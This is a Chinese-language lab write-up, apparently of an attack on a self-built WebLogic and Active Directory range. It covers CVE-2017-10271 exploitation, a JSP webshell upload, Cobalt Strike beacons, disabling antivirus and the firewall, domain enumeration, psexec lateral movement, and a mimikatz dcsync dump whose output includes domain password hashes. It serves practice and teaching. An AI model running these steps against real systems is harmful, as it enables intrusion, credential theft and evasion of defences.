靶场搭建
新增VMnet2网卡
**web:**需要配置两张网卡,分别是外网出访NAT模式和内网域环境仅主机模式下的VMnet2网卡。
**PC:**跟web一样,也是需要配置两张网卡,分别是外网出访NAT模式和内网域环境仅主机模式下的VMnet2网卡。
**DC:**只是内网网段,所以只需配置仅主机模式
靶场的web和pc网关是192.168.111.1,网关设置为192.168.111.2,需要把外网nat网关改为.2。
账号:administrator
密码:1qaz@WSX
在web服务器上启动weblogic服务,用管理员权限administrator/1qaz@WSX打开startweblogic。
使用管理员模式依次执行脚本
路径C:\Oracle\Middleware\user_projects\domains\base_domain\bin
浏览器访问http://192.168.111.80:7001,看到Error 404即启动成功,靶场搭建完成。
Weblogic登录界面:http://192.168.111.80:7001/console
至此,环境搭建完成
外网探测
Oracle WebLogic Server的登录页面
系统版本:
WebLogic Server 版本: 10.3.6.0
思路:测试弱口令,测试SQL,找历史版本CVE打,抓包分析
弱口令没有成功
尝试sqlmap没有成功
python sqlmap.py -r F:\1.txt -p j_password --dbs
尝试找历史CVE打:weblogic_10.3.6_unserialize _CVE-2017-10271
在这之前,先进行一下简单的目录扫描和端口扫描
nmap -Pn -sT 192.168.111.80
dirsearch -u http://192.168.111.80:7001/
使用weblogic漏洞扫描工具打CVE
验证存在漏洞
发现可以任意命令执行,且为administrator用户权限
思路:
这里我注意到网页的url可以查看图片位置,在这里或许可以尝试上传图片马
上传shell
但是并没有上传成功
查阅后,可以通过上传jsp马拿shell
尝试访问http://192.168.111.80:7001/uddiexplorer/
右上角图片新建窗口打开,复制url
http://192.168.111.80:7001/uddiexplorer/oracle_logo.gif
复制图片文件名,在weblogic中查找位置:
find / -name "oracle_logo.gif"
利用失败,windows系统,尝试使用windows命令搜索(我犯病了,自己搭的windows靶机用Linux命令………………)
dir /s /b oracle_logo.gif
找到文件位置:
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war\oracle_logo.gif
尝试在这个路径下上传木马
显示空白,上传成功!
尝试远程连接,连接失败,尝试哥斯拉上传jsp木马
生成jsp木马:
上传成功,尝试godzilla远程连接
连接成功!:
至此,拿到入口机shell
打入内网
已经拿到shell
这里乱码问题没解决,用蚁剑连接(最后还是用哥斯拉上传的jsp木马用蚁剑连接)
但是无法执行net view ,可能现在拿到的不是域内用户
执行ipconfig /all
可以发现主机有俩张网卡,10.10.10.0/24可能是域内网段
查看进程,可以发现有360的杀毒软件(这里免杀没学会,直接关掉杀毒软件了……)
上线CS
这里看到上线的用户为Administrator,并非域内用户。
尝试用梼杌插件提权
提权成功,扫描内网:
ipconfig /all #查看域,及域内网段
tasklist /svc #查看进程,检测是否有防火墙
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器主机名(可能有多台)
域内用户:“Administrator”“de1ay”“Guest”“krbtgt”“mssql”
这里看到域中除了域控DC还有PC和已经拿到的WEB机器
查看域控制器
信息收集:
内网网段:10.10.10.0/24
外网网段:192.168.111.0/24
域控名:DC
内网机器:PC,WEB
探测域控
Fscan:
fscan -h 10.10.10.0/24 -np -nopoc -nobr
探测内网网段:./fscan -h 10.10.10.0/24 -np -nopoc -nobr -p
信息收集:
PC:外网ip:192.168.111.201
内网ip:10.10.10.201
DC:10.10.10.10
DC端口探测:
fscan -h 10.10.10.10 -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379
信息收集:
DC开放端口:88,135,139,389,445,636,3389,5985
横向移动
拿下域控
SMB Beacon:
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexec 或 Stageless Payload 上线
使用 smb beacon,由一台已经拿到 beacon 的机器,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用smb beacon使目标主机上线。
简略原理:
假设有三个主机 a b c,我们的C2是a且我们已经有了b的权限,b可以访问c,c也可以访问b但不能访问a
这时候我们就可以使用smb beacon 然主机C上线。(前提是有主机C的账号密码)
使用条件:
- 具有 Beacon 的主机必须接受 445 端口上的连接。
- 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
- 必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
使用portscan扫描一下内网
显示targets列表
新建beacon SMB监听器
使用psexec上线域控:
解释一下我对上面realm的理解:
google:在 Web 安全中,Realm通常指的是一种保护区域,用于区分不同的安全域或资源。
DESKTOP-LANDMRU:独立计算机,不属于任何域,这里应该指PC
WEB:WEB的账户
de1ay.com和de1ay这里我不太清楚,可能是登录域内的机器
获取ntds.dit文件
在线破解:前提是有管理员权限。
Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。
可以通过dcsync直接获取test域内所有用户hash
lsadump::dcsync /domain:de1ay.com /all /csv
也可以获取单个用户的详细信息
lsadump::dcsync /domain:de1ay.com /user:kertgt
可以查看所有用户的所有详细信息
lsadump::lsa /inject
beacon> mimikatz lsadump::dcsync /domain:de1ay.com /all /csv
[*] Tasked beacon to run mimikatz's lsadump::dcsync /domain:de1ay.com /all /csv command
[+] host called home, sent: 813886 bytes
[+] received output:
[DC] 'de1ay.com' will be the domain
[DC] 'DC.de1ay.com' will be the DC server
[DC] Exporting domain 'de1ay.com'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt 82dfc71b72a11ef37d663047bc2088fb 514
1002 DC$ 39d74ac4cdd07a6b0855df6e37b6e815 532480
2103 mssql 161cff084477fe596a5db81874498a24 66048
1001 de1ay 161cff084477fe596a5db81874498a24 66048
1603 WEB$ 57e157ab6f45290ad8205651dbd27dcb 4096
1105 PC$ ea6b2055e2f4a1c5fc42058fbfc4b2d5 4096
500 Administrator 161cff084477fe596a5db81874498a24 512
总结与反思:
1.有没有方法做免杀绕过360
2.关于关闭防火墙的命令:
shell netsh advfirewall show all state //查看防火墙状态
shell netsh advfirewall set allprofile state off //关闭防火墙